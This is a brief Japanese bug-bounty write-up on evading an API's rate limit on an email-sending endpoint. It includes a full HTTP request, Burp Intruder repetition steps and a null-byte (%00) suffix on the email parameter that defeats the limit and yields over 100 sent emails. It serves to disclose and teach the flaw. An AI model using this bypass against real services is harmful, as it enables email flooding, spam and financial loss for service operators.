Hello there, ('ω')ノ
APIのレート制限をバイパスする最も簡単な方法を。
脆弱性:
レート制限バイパス
記事:
https://infosecwriteups.com/bounty-tip-easiest-way-to-bypass-apis-rate-limit-f984fad40093
レート制限とは、ネットワークからの着信および発信トラフィックの量を。
制御するために使用されて。
100リクエスト/分を許可するように構成された特定のAPIを使用している場合は。
リクエストの数がその制限を超えると、エラーがトリガされて。
今回のプログラムでは、WebアプリケーションがREST APIで動作しており。
ユーザが、/users_log_inエンドポイントを何度もヒットすると。
下記の出力が反映されることに気付いて。
HTTP/1.1 429 Too Many Requests
Date: Mon, 10 March 2020 05:35:28 GMT
Content-Type: text/plain
次のリクエストを送信して。
POST /secret HTTP/1.1
Host: www.Example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 179
Origin: https://www.Example.com
Connection: close
Referer: https://www.Example.com/secret/new
Token: **Token**&utf8=%E2%9C%93&user%5email%5D=YOUR_EMAIL@example.com&commit=Send
次に、このリクエストをIntruderへ。
任意のペイロードを$5$で100回繰り返して。
Language: en-US,en;q=0.$5$
レート制限を使い果たすたびに、%00を追加し続けると。
%00などのURLエンコードされた「ヌルバイト」は。
Webアプリケーション内のアプリケーションフィルタリングをバイパスして。
&user%5email%5D=YOUR_EMAIL@example.com%00
ステータスコード 200 OKと100個以上のメールが届いて。
影響:
実際の影響はないものの、EメールサービスAPIまたはEメールに。
費用がかかるツールを使用している場合は。
このタイプの攻撃は経済的損失をもたらす可能性があり。
メールサービスの速度を低下させる可能性もあって。
Best regards, (^^ゞ